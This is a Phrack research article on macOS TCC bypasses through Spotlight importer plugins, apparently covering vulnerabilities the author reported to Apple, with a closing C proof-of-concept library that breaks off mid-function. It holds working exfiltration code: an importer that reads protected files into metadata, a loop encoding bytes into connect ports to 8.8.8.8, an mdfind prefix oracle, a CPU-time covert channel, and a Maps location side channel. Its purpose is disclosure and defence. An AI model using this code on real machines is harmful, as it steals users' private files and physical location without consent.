[ Close ]
Enter something in the search box to see results



Issues:[ 1 ][ 2 ][ 3 ][ 4 ][ 5 ][ 6 ][ 7 ][ 8 ][ 9 ][ 10 ][ 11 ][ 12 ][ 13 ][ 14 ][ 15 ][ 16 ][ 17 ][ 18 ][ 19 ][ 20 ][ 21 ][ 22 ][ 23 ][ 24 ][ 25 ][ 26 ][ 27 ][ 28 ][ 29 ][ 30 ][ 31 ][ 32 ][ 33 ][ 34 ][ 35 ][ 36 ][ 37 ][ 38 ][ 39 ][ 40 ][ 41 ][ 42 ][ 43 ][ 44 ][ 45 ][ 46 ][ 47 ][ 48 ][ 49 ][ 50 ][ 51 ][ 52 ][ 53 ][ 54 ][ 55 ][ 56 ][ 57 ][ 58 ][ 59 ][ 60 ][ 61 ][ 62 ][ 63 ][ 64 ][ 65 ][ 66 ][ 67 ][ 68 ][ 69 ][ 70 ][ 71 ][ 72 ][ 73 ]
Current issue : #73 | Release date : 2026-11-17 | Editor : Phrack Staff
IntroductionPhrack Staff
Phrack Prophile on Halvar FlakePhrack Staff
LinenoisePhrack Staff
Escaping from a Docker container through vDSOandersonc0d3
Owning the Truth: Undecidability, unsound kernels, and the forging of proofendrazine, veorq
Cryptographic Ideas for TCC BypassesJonathan Bar Or
Word Machines for Weird Machinesnoperator
Beyond the Facade :: Exposing Smart GiantsLiquidWorm
The Art of Staying HiddenMatheuZSecurity
Reflections on Trusting AI: A Virus Inside an LLMmarver
QNX Userland Shellcode ComponentsClaes M Sjoberg
UAF Exploitation in the Sheaves Eraw1sdom
From PhrackCTF to Two WinFsp 0-daysLucas Tay
fortify-headers: standalone portable header-based implementation of FORTIFY_SOURCE=3jvoisin, sin
Poor Little ChunksAx
The Silent Fleet: AUVs -- Autonomous Underwater VehiclesAmitay Dan
MOLE - A Binary Ninja Plugin for Static Taint AnalysisDamian Pfammatter
Backdoor attacks against Machine Learning IRLG. Cherubin
A Journey Into Kernel Exploit Development in the LLM EraJuefei Pu, Yifan Wu, Kareem Shehada, Zhiyun Qian
Abusing the Windows Smart Card Minidriver ArchitectureMarc Barrantes
Painting Out of the Box: Escaping the Chromium Renderer Sandbox via SkiaQuang Luong
Semantic Abuse of the Linux IIO SubsystemSalah Triki
Disassembly, Flux, and Runtime Hijinksfoosc
Mystique - An x86 Metamorphic CompilerwK
Security is failure: Every Patch Is a GuessTedsig42
The Moon vs The Shield: A Study of Heap Feng Shui Using Lua3nso
HISTORY: Phrack World HistoryPhrack Staff
HISTORY: The 2000 SSH1 exploit that broke the Internetlcamtuf, scut, dvorak, scrippie, portal, gera, skyper
HISTORY: The 2003 Linux Kernel BackdoorAnonymous
HISTORY: BlueBoxing - Myths and Feelingsgamma, skyper
HISTORY: The Proxy That Made No SenseMikko Hypponen

Title : Cryptographic Ideas for TCC Bypasses

Author : Jonathan Bar Or
|=-----------------------------------------------------------------------=|
|=--------------=[ CRYPTOGRAPHIC IDEAS FOR TCC BYPASSES ]=---------------=|
|=-----------------------------------------------------------------------=|
|=---=[ Padding Oracles & Side Channels: Sploitlight to Apple Maps ]=----=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ Jonathan Bar Or ("JBO") ]=----------------------=|
|=-------------------=[ https://jonathanbaror.com ]=---------------------=|
|=-----------------------------------------------------------------------=|


--[ Contents

  1 - Introduction
  2 - Background: TCC and the Sploitlight Read Primitive
    2.1 - The read primitive
    2.2 - The naive leaks, and the patch arms race
  3 - Cryptographic Idea #1: The Padding Oracle
    3.1 - The principle: a per-position oracle is not brute force
    3.2 - Sploitlight3: leaking a file through its own metadata
    3.3 - Turning mdfind into the oracle
  4 - Cryptographic Idea #2: Side Channels
    4.1 - The principle: secrets leak through side effects
    4.2 - A covert channel out of the sandbox (CPU time)
    4.3 - [BONUS] Stealing your location out of Apple Maps
  5 - How Should Apple Ultimately Fix This?
  6 - Conclusion
  7 - CPU-time leaker proof-of-concept
  8 - References
  9 - Greetz


--[ 1 - Introduction

This paper is about a habit rather than a single bug. The habit is stealing
ideas from cryptography and pointing them at problems that have nothing
to do with cryptography, and in this case -- defeating macOS TCC.

When you find a primitive that lets you read data you should not be
able to read, you are only halfway done. The other half is getting the
bytes out, and that second half is exactly where the cryptographers'
bread and butter. Two ideas in particular are of interest:

  * PADDING ORACLE - a per-position oracle that collapses an
    exponential brute force into a linear one. We will use it to
    reconstruct an entire file, one base64 character at a time, through
    nothing but a search index.

  * SIDE CHANNEL - recovering a secret by measuring a side effect
    of an operation (CPU time, message counts, drawing work) that the
    operation was never meant to reveal. We will use it to build a
    covert channel out of a sandbox, and - as a bonus - to lift a
    user's physical location straight out of Apple Maps.

The running example is "Sploitlight", a Spotlight-based TCC bypass I
reported to Apple in 2025. The bonus is an Apple Maps location side
channel. Neither needs a memory-corruption bug or even a programmer's
mistake. That last point is the whole reason this kind of thinking
travels so well: there is frequently nothing "wrong" in the code at
all.


--[ 2 - Background: TCC and the Sploitlight Read Primitive

macOS TCC (Transparency, Consent, and Control) is the mechanism that
guards access to private user data - Photos, Downloads, the address
book, the camera, the microphone, and location. It is the source of
both the annoying consent popups and the actual security boundary: an
app must not touch a protected "TCC service" unless the user knowingly
approves it. I have written about TCC at length before [1].


----[ 2.1 - The read primitive

Spotlight - the system file-indexing service - loads importer plugins
simply by dropping them into a specific folder. Apple provides a
plethora of built-in plugins, but anyone can code plugins of their own.
Those plugins are heavily sandboxed [2]: no file writes, no network,
but they are also privileged. Each exports:

    Boolean GetMetadataForFile(void *thisInterface,
                               CFMutableDictionaryRef attributes,
                               CFStringRef contentTypeUTI,
                               CFStringRef pathToFile);

It receives a path and is allowed to read that file, bypassing TCC,
because the host process (mdworker) carries entitlements that whitelist
it. This is "Sploitlight" (CVE-2025-31199 [6]). My thesis has always
been the same: once you can read arbitrary file contents, it is game
over - you will always find a channel to push the bytes out, no matter
how locked down the process is. The rest of this paper is three
increasingly stubborn proofs of that claim, each one a borrowed
cryptographic idea.


----[ 2.2 - The naive leaks, and the patch arms race

The first leak was the laziest thing imaginable - read the file and
print it with NSLog [3]:

    NSFileHandle *handle =
        [NSFileHandle fileHandleForReadingAtPath:filePath];
    NSData *data = [handle readDataOfLength:CHUNK_SIZE];
    // ... hex-encode the chunk ...
    NSLog(@"POC: leak at offset %lu: %@", offset, sbuf);

Apple's fix for CVE-2025-31199 was narrow: forbid Spotlight plugins
from calling NSLog. The hole - "a sandboxed plugin can read any file
and exfiltrate it" - stayed wide open. Killing one egress pipe is not a
fix; there are dozens of pipes.

So I leaked through the logs again, except this time I made the *kernel*
do the logging for me, by deliberately tripping the sandbox. This was
"Sploitlight2" (CVE-2025-43409 [7]):

    void openSocket(uint8_t byte) {
        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0) { return; }

        struct sockaddr_in serv_addr;
        memset(&serv_addr, 0, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(1000 + byte);   // encode byte in port
        inet_pton(AF_INET, "8.8.8.8", &serv_addr.sin_addr);

        connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
        close(sockfd);
    }

This read the file one byte at a time; for byte 0xAB, attempt a connection
to 8.8.8.8:1171 (byte + 1000). The sandbox denies it - which is the whole
point - and the kernel snitches by logging the denied port:

    Sandbox: mdworker(46401) deny(1) network-outbound remote:*1171

Subtract 1000, recover 0xAB. The plugin never touched a logging API.

A day later, Apple made the mdworker log lines vanish, which, according to
my hypothesis, does not solve the underlying problem. The easy channels are
gone, and that is precisely the moment you go shopping in the cryptography
aisle.


--[ 3 - Cryptographic Idea #1: The Padding Oracle

----[ 3.1 - The principle: a per-position oracle is not brute force

A padding-oracle attack [8] recovers a secret without ever guessing the
whole thing at once. The trick is that the oracle answers a much weaker
question - "is this prefix/padding correct?" - and answers it *per
position*. That single property makes brute-forcing feasible, because it
makes the positions independent.

Real brute force is exponential in the secret length: 64^N guesses for
an N-character base64 secret. A per-position oracle is linear: 64
guesses per position (or 63 by a process of elimination, really).
For N positions, we get 64*N total. The oracle does not have
to leak the secret. It only has to leak "you got the next character
right", and the exponential collapses.


----[ 3.2 - Sploitlight3: leaking a file through its own metadata

Apple can keep amputating output channels forever - rate-limit
mdworker, cap its CPU, sever its syscalls - but there is exactly one
capability they structurally cannot remove, because it is the entire
reason importers exist:

  A Spotlight importer MUST be allowed to set indexing properties
  (author, comments, keywords) on arbitrary files.

That channel is guaranteed open. So "Sploitlight3" writes the file's
own contents into its own metadata:

    Boolean GetMetadataForFile(void *thisInterface,
                               NSMutableDictionary *attributes,
                               CFStringRef contentTypeUTI,
                               CFStringRef pathToFile)
    {
        @autoreleasepool {
            NSString *path = (__bridge NSString *)pathToFile;
            NSData *data = [NSData dataWithContentsOfFile:path];
            if (!data) { return false; }

            NSString *b64 = [data base64EncodedStringWithOptions:0];
            NSString *prop =
                [@"Sploitlight3:" stringByAppendingString:b64];
            [attributes setObject:prop forKey:(NSString *)kMDItemComment];
            return true;
        }
    }

Read file, base64 it, stuff it into kMDItemComment. The contents now sit
in the file's metadata in the clear:

    jbo@McJbo ~ % mdls ~/Downloads/test.epub
    kMDItemComment = "Sploitlight3:UEsDBBQAAAgAABGB51JvYassFAAAA [ ...
       base64 of the whole file, truncated ... ]Q=="
    kMDItemContentType = "org.idpf.epub-container"
    kMDItemFSSize = 2303
    [ ... remaining mdls fields trimmed ... ]


----[ 3.3 - Turning mdfind into the oracle

The astute reader might notice I cheated a bit - I called the mdls command,
which requires the TCC permissions to enumerate the file (and know it even
exists). That is correct, and the real, nprivileged side uses mdfind, the
command-line front-end to the Spotlight index, which evaluates queries -
including prefix matches - against the comment we planted.

First, find the file:

    jbo@McJbo ~ % mdfind 'kMDItemComment == "Sploitlight3:*"'
    /Users/jbo/Downloads/test.epub

That leaks the path, not the bytes. For the bytes, we ask the index for
prefixes - and that query is our per-position oracle:

    jbo@McJbo ~ % mdfind 'kMDItemComment == "Sploitlight3:A*"'
    jbo@McJbo ~ % mdfind 'kMDItemComment == "Sploitlight3:B*"'
    ...
    jbo@McJbo ~ % mdfind 'kMDItemComment == "Sploitlight3:U*"'
    /Users/jbo/Downloads/test.epub

A hit on "U*" tells us the first base64 character is 'U'. The next part is
clear, we fix 'U', move to the next position and repeat. This is the
padding oracle, verbatim: the index never returns the comment, it only
answers "does this prefix match?", once per position. So the search is
linear, not exponential.

To leak 1 MB you need at most:

    1024 * 1024 * 64  =  67,108,864 queries

Sixty-seven million mdfind calls is nothing for an overnight script.
What looks like hopeless brute force is, thanks to one idea borrowed
from block-cipher cryptanalysis, an entirely tractable extraction.


--[ 4 - Cryptographic Idea #2: Side Channels

----[ 4.1 - The principle: secrets leak through side effects

A side channel recovers a secret by measuring something the operation
*does* rather than something it *returns*. The classics:

  * memcmp/strcmp password checks bail out on the first mismatched
    byte, so response time leaks how many leading bytes were correct
    [11].
  * A padding oracle (above) is itself a side channel - the "is the
    padding valid?" signal can be a distinct error or just a timing
    difference.
  * Spectre and Meltdown [12][13] read memory they have no right to by
    timing cache effects of speculative execution.

What I love about side channels is that, unlike memory corruption,
TOCTOU races, or command injection, they usually require no bug at all.
There is nothing inherently *wrong* with the code; the leak is a
property of how the work is physically done. This is the same reason
you are told never to roll your own crypto - constant-time discipline
is hard, and the failure mode is invisible in a code review.


----[ 4.2 - A covert channel out of the sandbox (CPU time)

When Apple later blocked the attribute trick on AArch64 under macOS
Tahoe [9] (by refusing attributes from UTIs [10] already owned by
built-in importers), I could still run arbitrary sandboxed code - I just
could not set attributes. So I turned the plugin's own CPU usage into a
transmitter: grind the CPU to signal a 1, sleep to signal a 0.

    void leakSingleBit(uint8_t bit)
    {
        struct timespec ts;
        int base;
        if (bit) {                       // 1: busy-wait one second
            clock_gettime(CLOCK_MONOTONIC, &ts);
            base = ts.tv_sec;
            while (ts.tv_sec - base < 1)
                clock_gettime(CLOCK_MONOTONIC, &ts);
        } else {                         // 0: idle one second
            sleep(1);
        }
    }

    void leakSingleByte(uint8_t byte)
    {
        for (int i = 0; i < 8; i++) {    // LSB first
            leakSingleBit(byte & 1);
            byte >>= 1;
        }
    }

The unprivileged receiver just watches the plugin's CPU counters via
libproc / proc_pidinfo - the same API htop uses [14]:

    struct proc_taskinfo info = { 0 };
    proc_pidinfo(pid, PROC_PIDTASKINFO, 0, &info, sizeof(info));
    uint64_t cpu_time = info.pti_total_user + info.pti_total_system;
    // print the delta since the last sample; spikes == 1, flat == 0

Leaking 0xAB looks like this (one second per slot, '##' = grind):

      CPU
     high |##|##|  |##|  |##|  |##|
          |##|##|  |##|  |##|  |##|
      low |##|##|--|##|--|##|--|##|
          +--+--+--+--+--+--+--+--+
     bit:  1  1  0  1  0  1  0  1     (LSB first)

Read 11010101, reverse it (we sent LSB first): 10101011 = 0xAB. To
beat clock drift I "time slice": fixed one-second slots, a full-slot
idle separator after each bit, and a known sync byte (0xAA = 10101010)
at the start so the receiver can lock onto the grid. It is slow - about
half a bit per second - but an attacker has patience, and can leak a
different slice of the file on each run by swapping the plugin binary.


----[ 4.3 - [BONUS] Stealing your location out of Apple Maps

The same measurement primitive - proc_pidinfo on a process you do not
own - steals something far juicier than a covert bit. It steals your
physical location, with zero location permission. This one I reported
to Apple in 2025 (tracked OE1101126364412); after about a year they
decided it was not an applicable security vulnerability, and honestly I
half agree - so treat it as a concept, not a CVE.

Location is a TCC service too, though an unusually old one: its grants
live in /var/db/locationd/clients.plist rather than the usual TCC.db.
While poking at macOS URL-scheme registrations with lsregister, the
"maps:" handler caught my eye:

    % lsregister -dump URLSchemeBinding | head
    ...
    maps:                       3868 (0xf1c) (0xf1e)
    ...

The maps: scheme routes to com.apple.Maps and is documented [15]. It
takes a source and destination (saddr / daddr), accepts the literal
"here" as an endpoint, and a transport flag dirflg (w/d/r). Crucially:
handing it a navigation query opens Maps and computes the route WITHOUT
any user interaction. That is a confused deputy - Maps has location
access; my app does not; my app just asks Maps to do work.

Now the side channel. Drawing a route is graphics work, and graphics
work means Mach messages [16] to the Window Server. A long, complex
route draws more than a short one. And proc_pidinfo reports exactly that
- the same proc_taskinfo struct from the CPU leak also carries message
counters [17]:

    struct proc_taskinfo {
        ...
        uint64_t pti_total_user;          // <- used for the CPU leak
        uint64_t pti_total_system;
        ...
        int32_t  pti_messages_sent;       // <- used for the Maps leak
        int32_t  pti_messages_received;
        ...
    };

So the location oracle is a nearest-neighbour search driven by a side
channel:

    for candidate in grid_of_locations:
        open "maps://?saddr=<candidate>&daddr=here&dirflg=d"
        let before = proc_taskinfo(maps_pid).pti_messages_sent
        wait for the route to render
        let cost   = proc_taskinfo(maps_pid).pti_messages_sent - before
        record (candidate, cost)
    victim_location = argmin(cost)          // shortest route == nearest

The candidate that produces the fewest Mach messages is the one closest
to the user's true position - because "here" is their real location and
the shortest route is the cheapest to draw. Refine the grid and you
triangulate them, all without ever asking for location access. (CPU,
memory, and pagein counters work too; Mach-message count was just the
most stable signal.)

It even generalises off Maps: any process that already has location -
a browser tab with a location grant, say - perturbs its own memory and
message stats when it does location work, and those stats are readable
the same way. Note how this bonus quietly fuses both ideas of this
paper: a search (idea #1) steered by a side channel (idea #2).


--[ 5 - How Should Apple Ultimately Fix This?

For Sploitlight I see two real fixes, as opposed to plugging individual
exhaust pipes:

  1. Require Spotlight importers to be properly signed and notarized.
  2. Show a TCC prompt when a new importer is registered.

Option 1 risks breaking existing third-party importers; option 2 adds
another consent dialog to click through. But the read primitive is
structural, and every channel here - NSLog, the sandbox-deny log, the
metadata oracle, the CPU covert channel - exists because the plugin is
*meant* to do useful work. You cannot patch your way out of a
capability you deliberately granted; you have to gate the capability.

The Maps location leak is harder, and Apple's "not a vulnerability"
verdict is defensible: there is no bug to fix, only a measurable
correlation between work and a secret. The honest mitigations are the
cryptographer's mitigations - make the work independent of the secret
(constant-cost rendering, decoupled timing) or refuse to act as a
deputy without consent (require interaction before computing a route
from "here"). 


--[ 6 - Conclusion

No bitflips, no ROP or heap massaging. The point was the *mindset*:
when a vendor says "fixed", ask what the fix removed versus what the
underlying primitive still allows - and when you need to move bytes
across a boundary, remember that cryptographers have spent decades
building exactly the tools you need.

In our case, a per-position oracle linearised a hopeless brute force
and let a search index cough up an entire file. A side channel turned
CPU time into a covert wire out of a sandbox, and turned Mach-message
counts into location access that normally isn't permitted on macOS.
More interestingly, none of it required a single line of "wrong" code.

Stay tuned.

                                                - Jonathan Bar Or ("JBO")
                                                - https://jonathanbaror.com

--[ 7 - CPU-time leaker proof-of-concept
The following library can be used *generically* to leak data using
CPU-spikes. To use it, include `leaker.h`, link against `leaker.c`. To leak
bytes, call the `leak_bytes` function on one side, and use the `measure`
function on the other side to measure a PID and intercept bytes.

--- leaker.h ---
/****************************************************************************************
*                                                                                       *
*  File:       leaker.h                                                                 *
*  Purpose:    Header file for CPU-based data leakage.                                  *
*                                                                                       *
****************************************************************************************/
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>

/****************************************************************************************
*                                                                                       *
*  Constant :  LEAK_START_SEQUENCE                                                      *
*  Purpose:    The start sequence for the leak. Helps synchronize clocks.               *
*  Remarks:    - Purposely represented as 10101010 in binary to synchronize well.       *
*              - Used when leaking bytes, unless indication is set to false.            *
*                                                                                       *
****************************************************************************************/
#define LEAK_START_SEQUENCE (0xAA)

/****************************************************************************************
*                                                                                       *
*  Constant :  LEAK_TIMESLICE_SECONDS                                                   *
*  Purpose:    The leak timeslice in seconds.                                           *
*  Remarks:    - Must be strictly positive.                                             *
*                                                                                       *
****************************************************************************************/
#define LEAK_TIMESLICE_SECONDS (1)

/****************************************************************************************
*                                                                                       *
*  Prototype:  pfn_on_sync                                                              *
*  Purpose:    Handles clock synchronization from the leakage.                          *
*  Returns:    Indication of whether to continue measurement.                           *
*                                                                                       *
****************************************************************************************/
typedef bool (*pfn_on_sync)(void);

/****************************************************************************************
*                                                                                       *
*  Prototype:  pfn_on_buffer                                                            *
*  Purpose:    Handles data received from leakage.                                      *
*  Parameters: - buffer - The leaked buffer.                                            *
*              - size - The size.                                                       *
*  Returns:    Indication of whether to continue measurement.                           *
*  Remarks:    - Buffer should be trated as read-only.                                  *
*              - Handler should return quickly and not block to proceed measurements.   *
*                                                                                       *
****************************************************************************************/
typedef bool (*pfn_on_buffer)(
    uint8_t* buffer,
    uint8_t size
);

/****************************************************************************************
*                                                                                       *
*  Function:   leak_bytes                                                               *
*  Purpose:    Leaks bytes via CPU stress (hi=grind CPU, lo=sleep).                     *
*  Parameters: - buffer - The buffer to leak.                                           *
*              - size - The size to leak.                                               *
*              - indicate_start - Whether to indicate LEAK_START_SEQUENCE or not.       *
*  Remarks:    - Leak format starts with the start indicator, unless requested not to.  *
*              - The leak then leaks the size (as a byte), following the bytes.         *
*              - Individual bytes are leaked starting their MSB.                        *
*              - To leak more than 255 bytes - use this function consecutively.         *
*                                                                                       *
****************************************************************************************/
void
leak_bytes(
    uint8_t* buffer,
    uint8_t size,
    bool indicate_start
);

/****************************************************************************************
*                                                                                       *
*  Function:   measure                                                                  *
*  Purpose:    Measures bytes leaked with leak_bytes by another process.                *
*  Parameters: - pid - The process to measure.                                          *
*              - sync_handler - The clock syncrhonization handler routine.              *
*              - buffer_handler - The buffer handler routine.                           *
*  Remarks:    - Function measures forever until process finishes or handler indicates. *
*              - We expect LEAK_START_SEQUENCE to be transmitted once at start of leak. *
*              - Xynchronization handler is optional (but buffer handler is mandatory). *
*                                                                                       *
****************************************************************************************/
void
measure(
    pid_t pid,
    pfn_on_sync sync_handler,
    pfn_on_buffer buffer_handler
);

--- leaker.c ---
/****************************************************************************************
*                                                                                       *
*  File:       leaker.c                                                                 *
*  Purpose:    Implementation for CPU-based data leakage.                               *
*                                                                                       *
****************************************************************************************/
#include "leaker.h"
#include <stdlib.h>
#include <time.h>
#include <libproc.h>
#include <stdio.h>
#include <inttypes.h>

/****************************************************************************************
*                                                                                       *
*  Constant:   CPU_DELTA_HI                                                             *
*  Purpose:    The delta for which the bit is considered high.                          *
*                                                                                       *
****************************************************************************************/
#define CPU_DELTA_HI (3000000ULL)

/****************************************************************************************
*                                                                                       *
*  Constant:   CPU_DELTA_LO                                                             *
*  Purpose:    The delta for which the bit is considered low.                           *
*                                                                                       *
****************************************************************************************/
#define CPU_DELTA_LO (70000ULL)

/****************************************************************************************
*                                                                                       *
*  Constant:   NANOSECONDS_IN_SECOND                                                    *
*  Purpose:    The number of nanoseconds in a second.                                   *
*                                                                                       *
****************************************************************************************/
#define NANOSECONDS_IN_SECOND (1000000000ULL)

/****************************************************************************************
*                                                                                       *
*  Constant:   DELTA_HISTORY_LENGTH                                                     *
*  Purpose:    History length for delta measurements.                                   *
*                                                                                       *
****************************************************************************************/
#define DELTA_HISTORY_LENGTH (3)

/****************************************************************************************
*                                                                                       *
*  Macro:      INIT_TIMESPEC                                                            *
*  Purpose:    Initializes a struct timespec from 64-bit nanoseconds.                   *
*  Parameters: - nanoseconds - The number of nanoseconds (64-bit unsigned integer).     *
*  Returns:    The struct timespec initialization.                                      *
*                                                                                       *
****************************************************************************************/
#define INIT_TIMESPEC(nanoseconds) { (nanoseconds) / NANOSECONDS_IN_SECOND, (nanoseconds) % NANOSECONDS_IN_SECOND }

/****************************************************************************************
*                                                                                       *
*  Macro:      SAFE_FREE                                                                *
*  Purpose:    Frees memory safely (via NULL check-and-assignment).                     *
*  Parameters: - mem - The memory to free.                                              *
*                                                                                       *
****************************************************************************************/
#define SAFE_FREE(mem)              do                          \
                                    {                           \
                                        if (NULL != (mem))      \
                                        {                       \
                                            (void)free(mem);    \
                                            (mem) = NULL;       \
                                        }                       \
                                    } while (false)

/****************************************************************************************
*                                                                                       *
*  Macro:      ARRAY_SIZE                                                               *
*  Purpose:    Gets a static array size.                                                *
*  Parameters: - arr - The static array.                                                *
*  Returns:    The size of the array in bytes.                                          *
*                                                                                       *
****************************************************************************************/
#define ARRAY_SIZE(arr)             (sizeof(arr) / sizeof((arr)[0]))

/****************************************************************************************
*                                                                                       *
*  Global:     g_nsec_full_timeslice                                                    *
*  Purpose:    The number of nanoseconds for a full leak timeslice.                     *
*  Remarks:    - Kept as a global variable for performance reasons.                     *
*                                                                                       *
****************************************************************************************/
static
const
uint64_t
g_nsec_full_timeslice = LEAK_TIMESLICE_SECONDS * NANOSECONDS_IN_SECOND;

/****************************************************************************************
*                                                                                       *
*  Global:     g_nsec_quarter_timeslice                                                 *
*  Purpose:    The number of nanoseconds for a quarter leak timeslice.                  *
*  Remarks:    - Kept as a global variable for performance reasons.                     *
*                                                                                       *
****************************************************************************************/
static
const
uint64_t
g_nsec_quarter_timeslice = g_nsec_full_timeslice / 4;

/****************************************************************************************
*                                                                                       *
*  Global:     g_full_leak_timeslice                                                    *
*  Purpose:    The full leak timeslice.                                                 *
*  Remarks:    - Kept as a global variable for performance reasons.                     *
*                                                                                       *
****************************************************************************************/
static
struct timespec
g_full_leak_timeslice = INIT_TIMESPEC(g_nsec_full_timeslice);

/****************************************************************************************
*                                                                                       *
*  Global:     g_quarter_leak_timeslice                                                 *
*  Purpose:    The quarter leak timeslice.                                              *
*  Remarks:    - Kept as a global variable for performance reasons.                     *
*                                                                                       *
****************************************************************************************/
static
struct timespec
g_quarter_leak_timeslice = INIT_TIMESPEC(g_nsec_quarter_timeslice);

/****************************************************************************************
*                                                                                       *
*  Global:     g_microsleep                                                             *
*  Purpose:    Microsleep timepan used to leak low bits.                                *
*  Remarks:    - Kept as a global variable for performance reasons.                     *
*                                                                                       *
****************************************************************************************/
static
struct timespec
g_microsleep = INIT_TIMESPEC(5000);

/****************************************************************************************
*                                                                                       *
*  Function:   leak_single_bit                                                          *
*  Purpose:    Leaks a single bit via CPU stress (hi=full CPU grind, lo=half-grind).    *
*  Parameters: - bit - The bit to leak.                                                 *
*  Remarks:    - The bit can be zero or non-zero (treated as one).                      *
*                                                                                       *
****************************************************************************************/
static
void
leak_single_bit(
    uint8_t bit
)
{
    register uint64_t end_time = clock_gettime_nsec_np(CLOCK_UPTIME_RAW);

    // Leak the bit
    if (bit)
    { 
        end_time += g_nsec_full_timeslice;
        while (clock_gettime_nsec_np(CLOCK_UPTIME_RAW) < end_time)
        {
            __asm__ __volatile__("");
        }
    }
    else
    {
        end_time += g_nsec_full_timeslice;
        while (clock_gettime_nsec_np(CLOCK_UPTIME_RAW) < end_time)
        {
            nanosleep(&g_microsleep, NULL);
        }
    }
}

/****************************************************************************************
*                                                                                       *
*  Function:   leak_intergap_slice                                                      *
*  Purpose:    Leaks an intergap interval slice by sleeping for a full leak slice.      *
*                                                                                       *
****************************************************************************************/
static
void
leak_intergap_slice(void)
{
    // Sleep (full)
    nanosleep(&g_full_leak_timeslice, NULL);
}

/****************************************************************************************
*                                                                                       *
*  Function:   leak_single_byte                                                         *
*  Purpose:    Leaks a single byte via CPU stress (hi=grind CPU, lo=sleep).             *
*  Parameters: - byte - The byte to leak.                                               *
*  Remarks:    - Bytes are leaked starting their MSB.                                   *
*              - Local variables are not initialized to save CPU time.                  *
*                                                                                       *
****************************************************************************************/
static
void
leak_single_byte(
    uint8_t byte
)
{
    register int i;

    // Leak bit-by-bit starting MSB and leak the intergrap slice
    for (i = 0; i < 8; i++)
    {
        leak_single_bit(byte & 0x80);
        byte <<= 1;
        leak_intergap_slice();
    }
}

/****************************************************************************************
*                                                                                       *
*  Function:   leak_bytes                                                               *
*                                                                                       *
****************************************************************************************/
void
leak_bytes(
    uint8_t* buffer,
    uint8_t size,
    bool indicate_start
)
{
    size_t i = 0;

    // Optionally indicate start
    if (indicate_start)
    {
        leak_single_byte(LEAK_START_SEQUENCE);
    }

    // Leak the size
    leak_single_byte(size);

    // Iterate buffer
    for (i = 0; i < size; i++)
    {
        leak_single_byte(buffer[i]);
    }
}

/****************************************************************************************
*                                                                                       *
*  Function:   measure_next_bit                                                         *
*  Purpose:    Measures the next bit.                                                   *
*  Parameters: - pid - The target process ID.                                           *
*              - bit - Gets the next bit upon success (true for high, false for low).   *
*  Returns:    - True upon success, false upon failure.                                 *
*                                                                                       *
****************************************************************************************/
static
bool
measure_next_bit(
    pid_t pid,
    bool* bit
)
{
    register bool result = false;
    struct proc_taskinfo info = { 0 };
    register int status = 0;
    register uint64_t new_cpu_time = 0;
    register uint64_t old_cpu_time = 0;
    register uint64_t delta = 0;
    uint64_t history[DELTA_HISTORY_LENGTH * 2] = { 0 };
    register int curr_history_index = 0;
    register int consecutive_zero_count = ARRAY_SIZE(history);
    register int non_zero_count = 0;
    register uint64_t curr_sum = 0;
    register uint64_t curr_avg = 0;

    // Measure forever
    for (;;)
    {
        // Get process info
        status = proc_pidinfo(pid, PROC_PIDTASKINFO, 0, &info, sizeof(info));
        if (sizeof(info) != status)
        {
            goto cleanup;
        }
       
        // Calculate CPU time and derive delta
        new_cpu_time = info.pti_total_user + info.pti_total_system;
        delta = new_cpu_time - old_cpu_time;
        
        // Override history
        if (0 != history[curr_history_index])
        {
            non_zero_count--;
            curr_sum -= history[curr_history_index];
        }

        // Apply new delta
        if (0 == delta)
        {
            consecutive_zero_count++;
        }
        else
        {
            consecutive_zero_count = 0;
            non_zero_count++;
            curr_sum += delta;
        }
        history[curr_history_index] = delta;

        // Run data check
        if ((DELTA_HISTORY_LENGTH == consecutive_zero_count) && (DELTA_HISTORY_LENGTH == non_zero_count))
        {
            curr_avg = curr_sum / DELTA_HISTORY_LENGTH;
            if (CPU_DELTA_LO <= curr_avg)
            {
                break;
            }
            printf("Inconclusive average: %" PRIu64 "\n", curr_avg);
        }

        // Advance the index
        curr_history_index = (curr_history_index + 1) % ARRAY_SIZE(history);

        // Update time and wait for next measurement
        old_cpu_time = new_cpu_time;
        nanosleep(&g_quarter_leak_timeslice, NULL);
    }

    // Success
    *bit = CPU_DELTA_HI < curr_avg;
    result = true;

cleanup:

    // Return
    return result;
}

/****************************************************************************************
*                                                                                       *
*  Function:   measure_next_byte                                                        *
*  Purpose:    Measures the next byte.                                                  *
*  Parameters: - pid - The target process ID.                                           *
*              - byte - Gets the next byte upon success.                                *
*  Returns:    - True upon success, false upon failure.                                 *
*                                                                                       *
****************************************************************************************/
static
bool
measure_next_byte(
    pid_t pid,
    uint8_t* byte
)
{
    bool result = false;
    bool new_bit = false;
    uint8_t curr_byte = 0;
    size_t counter = 0;

    // Measure bit by bit
    for (counter = 0; counter < 8; counter++)
    {
        // Get next bit
        if (!measure_next_bit(pid, &new_bit))
        {
            goto cleanup;
        }
        printf("Currrent bit: %d\n", new_bit);

        // Update byte
        curr_byte <<= 1;
        curr_byte |= new_bit;
    }
    printf("CurrByte: 0x%02x\n", curr_byte);

    // Success
    *byte = curr_byte;
    result = true;

cleanup:

    // Return result
    return result;
}

/****************************************************************************************
*                                                                                       *
*  Function:   sync_clocks                                                              *
*  Purpose:    Synchronizes clocks with the target leaking process.                     *
*  Parameters: - pid - The target process ID.                                           *
*              - sync_handler - An optional synchronization handler.                    *
*  Returns:    - True upon success, false upon failure.                                 *
*  Remarks:    - Synchronization handler returning false is also considered a failure.  *
*                                                                                       *
****************************************************************************************/
static
bool
sync_clocks(
    pid_t pid,
    pfn_on_sync sync_handler
)
{
    bool result = false;
    uint8_t curr_byte = 0;

    // Synchronize clock
    while (LEAK_START_SEQUENCE != curr_byte)
    {
        if (!measure_next_byte(pid, &curr_byte))
        {
            goto cleanup;
        }
    }

    // Optionally invoke the synchronization handler
    if ((NULL != sync_handler) && (!sync_handler()))
    {
        goto cleanup;
    }

    // Success
    result = true;

cleanup:

    // Return
    return result;
}


/****************************************************************************************
*                                                                                       *
*  Function:   measure                                                                  *
*                                                                                       *
****************************************************************************************/
void
measure(
    pid_t pid,
    pfn_on_sync sync_handler,
    pfn_on_buffer buffer_handler
)
{
    uint8_t buffer_size = 0;
    uint8_t* buffer = NULL;
